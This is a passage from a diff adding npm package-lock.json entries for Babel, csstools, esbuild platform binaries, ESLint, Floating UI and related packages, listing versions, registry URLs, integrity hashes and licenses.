+ "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.28.6.tgz", + "integrity": "sha512-05WQkdpL9COIMz4LjTxGpPNCdlpyimKppYNoJ5Di5EUObifl8t4tuLuUBBZEpoLYOmfvIWrsp9fCl0HoPRVTdA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz", + "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.28.6", + "@babel/parser": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz", + "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.0", + "@babel/generator": "^7.29.0", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.29.0", + "@babel/template": "^7.28.6", + "@babel/types": "^7.29.0", + "debug": "^4.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", + "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@bcoe/v8-coverage": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-1.0.2.tgz", + "integrity": "sha512-6zABk/ECA/QYSCQ1NGiVwwbQerUCZ+TQbp64Q3AgmfNvurHH0j8TtXa1qbShXA6qqkpAj4V5W8pP6mLe1mcMqA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@csstools/color-helpers": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.1.0.tgz", + "integrity": "sha512-S11EXWJyy0Mz5SYvRmY8nJYTFFd1LCNV+7cXyAgQtOOuzb4EsgfqDufL+9esx72/eLhsRdGZwaldu/h+E4t4BA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@csstools/css-calc": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz", + "integrity": "sha512-3N8oaj+0juUw/1H3YwmDDJXCgTB1gKU6Hc/bB502u9zR0q2vd786XJH9QfrKIEgFlZmhZiq6epXl4rHqhzsIgQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/css-color-parser": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.1.0.tgz", + "integrity": "sha512-nbtKwh3a6xNVIp/VRuXV64yTKnb1IjTAEEh3irzS+HkKjAOYLTGNb9pmVNntZ8iVBHcWDA2Dof0QtPgFI1BaTA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "dependencies": { + "@csstools/color-helpers": "^5.1.0", + "@csstools/css-calc": "^2.1.4" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/css-parser-algorithms": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz", + "integrity": "sha512-DaDeUkXZKjdGhgYaHNJTV9pV7Y9B3b644jCLs9Upc3VeNGg6LWARAT6O+Q+/COo+2gg/bM5rhpMAtf70WqfBdQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/css-tokenizer": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz", + "integrity": "sha512-Vd/9EVDiu6PPJt9yAh6roZP6El1xHrdvIVGjyBsHR0RYwNHgL7FJPyIIW4fANJNG6FtyZfvlRPpFI4ZM/lubvw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@dagrejs/dagre": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@dagrejs/dagre/-/dagre-3.0.0.tgz", + "integrity": "sha512-ZzhnTy1rfuoew9Ez3EIw4L2znPGnYYhfn8vc9c4oB8iw6QAsszbiU0vRhlxWPFnmmNSFAkrYeF1PhM5m4lAN0Q==", + "license": "MIT", + "dependencies": { + "@dagrejs/graphlib": "4.0.1" + } + }, + "node_modules/@dagrejs/graphlib": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@dagrejs/graphlib/-/graphlib-4.0.1.tgz", + "integrity": "sha512-IvcV6FduIIAmLwnH+yun+QtV36SC7mERqa86aClNqmMN09WhmPPYU8ckHrZBozErf+UvHPWOTJYaGYiIcs0DgA==", + "license": "MIT" + }, + "node_modules/@emnapi/core": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.11.1.tgz", + "integrity": "sha512-RSvbQmHzdKzNsLYa/wHrbc3KN4sYLKAdPZxqiM2HATqv/SBk2/ENSHpvXGaLOMcsAyz0poEGqkmmKYG3OWiJEQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/wasi-threads": "1.2.2", + "tslib": "^2.4.0" + } + }, + "node_modules/@emnapi/runtime": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.1.tgz", + "integrity": "sha512-vgj7R3y3Wgx24IQaGPA/R6YFXLHVMOZ0uVEyIQPaWs+rd1AzfEMXlAC22FYwO1XkKR6NPsq7mUandH8oIRdZFw==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@emnapi/wasi-threads": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.2.2.tgz", + "integrity": "sha512-c95qOXkHdydNKhscBTebqEC1CVAZpyqOfVfBzQ1qgzyl3gfeldUjIggDbIZgDKsHLgnsM+igH7TJ/eAasaVuMA==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz", + "integrity": "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.21.5.tgz", + "integrity": "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz", + "integrity": "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.21.5.tgz", + "integrity": "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz", + "integrity": "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz", + "integrity": "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz", + "integrity": "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz", + "integrity": "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz", + "integrity": "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz", + "integrity": "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz", + "integrity": "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz", + "integrity": "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz", + "integrity": "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz", + "integrity": "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz", + "integrity": "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz", + "integrity": "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz", + "integrity": "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.28.1.tgz", + "integrity": "sha512-oks0DYbLwWMmaakTsCb+zL4E+aHRVLom9IJZOAthMQEPiQmydXHkziYEsGYRx0uNV/IjEKGAV941JzH02pflqw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz", + "integrity": "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.28.1.tgz", + "integrity": "sha512-MEFJe5C3R8pwXdZ5Y21oo6m7ePiS0d9pWucn99O/wvyJZChoIQKrQDxKrGeW8F5+T0okTHesAmDeiHDTIq0V/Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz", + "integrity": "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.28.1.tgz", + "integrity": "sha512-ge+Z7EXFNt2BO1oAMsVpiQ8EwndV9i1xXerAeTIK7AtPs3bKFXQM7nlRxDSIUIMeueR1CNXxqztLzdNeReKBJg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz", + "integrity": "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz", + "integrity": "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz", + "integrity": "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz", + "integrity": "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.9.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz", + "integrity": "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", + "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/config-array": { + "version": "0.21.1", + "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.1.tgz", + "integrity": "sha512-aw1gNayWpdI/jSYVgzN5pL0cfzU02GT3NBpeT/DXbx1/1x7ZKxFPd9bwrzygx/qiwIQiJ1sw/zD8qY/kRvlGHA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/object-schema": "^2.1.7", + "debug": "^4.3.1", + "minimatch": "^3.1.2" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/config-helpers": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", + "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^0.17.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/core": { + "version": "0.17.0", + "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz", + "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@types/json-schema": "^7.0.15" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.3.tgz", + "integrity": "sha512-Kr+LPIUVKz2qkx1HAMH8q1q6azbqBAsXJUxBl/ODDuVPX45Z9DfwB8tPjTi6nNZ8BuM3nbJxC5zCAg5elnBUTQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^10.0.1", + "globals": "^14.0.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.1", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint/eslintrc/node_modules/globals": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", + "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@eslint/js": { + "version": "9.39.3", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.3.tgz", + "integrity": "sha512-1B1VkCq6FuUNlQvlBYb+1jDu/gV297TIs/OeiaSR9l1H27SVW55ONE1e1Vp16NqP683+xEGzxYtv4XCiDPaQiw==", + "dev": true, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://eslint.org/donate" + } + }, + "node_modules/@eslint/object-schema": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz", + "integrity": "sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/plugin-kit": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", + "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^0.17.0", + "levn": "^0.4.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@floating-ui/core": { + "version": "1.7.4", + "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.7.4.tgz", + "integrity": "sha512-C3HlIdsBxszvm5McXlB8PeOEWfBhcGBTZGkGlWc2U0KFY5IwG5OQEuQ8rq52DZmcHDlPLd+YFBK+cZcytwIFWg==", + "license": "MIT", + "dependencies": { + "@floating-ui/utils": "^0.2.10" + } + }, + "node_modules/@floating-ui/dom": { + "version": "1.7.5", + "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.7.5.tgz", + "integrity": "sha512-N0bD2kIPInNHUHehXhMke1rBGs1dwqvC9O9KYMyyjK7iXt7GAhnro7UlcuYcGdS/yYOlq0MAVgrow8IbWJwyqg==", + "license": "MIT", + "dependencies": { + "@floating-ui/core": "^1.7.4", + "@floating-ui/utils": "^0.2.10" + } + }, + "node_modules/@floating-ui/react-dom": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.1.7.tgz", + "integrity": "sha512-0tLRojf/1Go2JgEVm+3Frg9A3IW8bJgKgdO0BN5RkF//ufuz2joZM63Npau2ff3J6lUVYgDSNzNkR+aH3IVfjg==", + "license": "MIT", + "dependencies": { + "@floating-ui/dom": "^1.7.5" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@floating-ui/utils": { + "version": "0.2.10", + "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.10.tgz", + "integrity": "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ==", + "license": "MIT" + }, + "node_modules/@gilbarbara/deep-equal": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@gilbarbara/deep-equal/-/deep-equal-0.3.1.tgz", + "integrity": "sha512-I7xWjLs2YSVMc5gGx1Z3ZG1lgFpITPndpi8Ku55GeEIKpACCPQNS/OTqQbxgTCfq0Ncvcc+CrFov96itVh6Qvw==", + "license": "MIT" + }, + "node_modules/@hookform/resolvers": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/@hookform/resolvers/-/resolvers-3.10.0.tgz", + "integrity": "sha512-79Dv+3mDF7i+2ajj7SkypSKHhl1cbln1OGavqrsF7p6mbUv11xpqpacPsGDCTRvCSjEEIez2ef1NveSVL3b0Ag==", + "license": "MIT", + "peerDependencies": { + "react-hook-form": "^7.0.0" + } + }, + "node_modules/@humanfs/core": { + "version": 